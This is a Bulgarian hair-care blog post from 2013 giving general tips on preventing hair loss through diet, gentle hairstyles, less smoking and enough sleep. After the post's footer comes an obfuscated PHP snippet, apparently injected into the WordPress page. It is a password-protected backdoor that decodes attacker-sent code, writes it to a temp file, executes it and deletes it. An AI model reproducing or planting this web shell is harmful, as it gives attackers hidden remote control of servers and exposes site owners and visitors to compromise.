Как да избегнем косопада | Косопад

Как да избегнем косопада

Косата се състои в 90% от кератин. Като една малка „фабрика за коса“ нашите близо 100 хил. космени фоликула произвеждат 30 метра коса, което прави 1 километър за месец.

косопад4

„Нормално е да се губят между 50 и 100 косъма на ден, въпреки че в случаи на лошо хранене загубата е още по- голяма – косопад.“, разкриват лекарите.

„Косопадът настъпва, когато косменият фоликул не получава достатъчно хранителни вещества от кръвта.“, разясняват специалистите.

ФАКТОРИ, КОИТО ПОДДЪРЖАТ КОСАТА ЗДРАВА И БЕЗ КОСОПАД

1. Дефицитът на хранителни вещества отслабва косата, тя не може бързо да се възпроизвежда. В такива случаи трябва да направите подходяща и балансирана диета. Най- важните за косата елементи са – витамин А, витамин В, биотин, витамин С, мед, желязо, цинк, протеини и вода.

2. Често жените страдат от косопад заради много стегнати прически.косопад5

3. Прекаляването с пушенето изсушава кожата и отслабва космените фоликули, като причинява косопад.

4. Понякога преумората предизвиква косопад. Доказано е, че хората които спят по- малко, по- често страдат от окапване на косата.

5. Добре е, когато спите косата ви да е на плитка. Така не се уврежда от търкането във възглавницата.

6. Преди да си направите прическа, нека косата да е суха, тъй като влагата кара фоликулите да се отварят и космите да падат, ако са по- слаби.

7. Ако имате усилен косопад, консултирайте се с дерматолог.

05. ноември 2013 16:43:42 от Надя Колева
Категории: Косопад – Статии | Етикети: , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}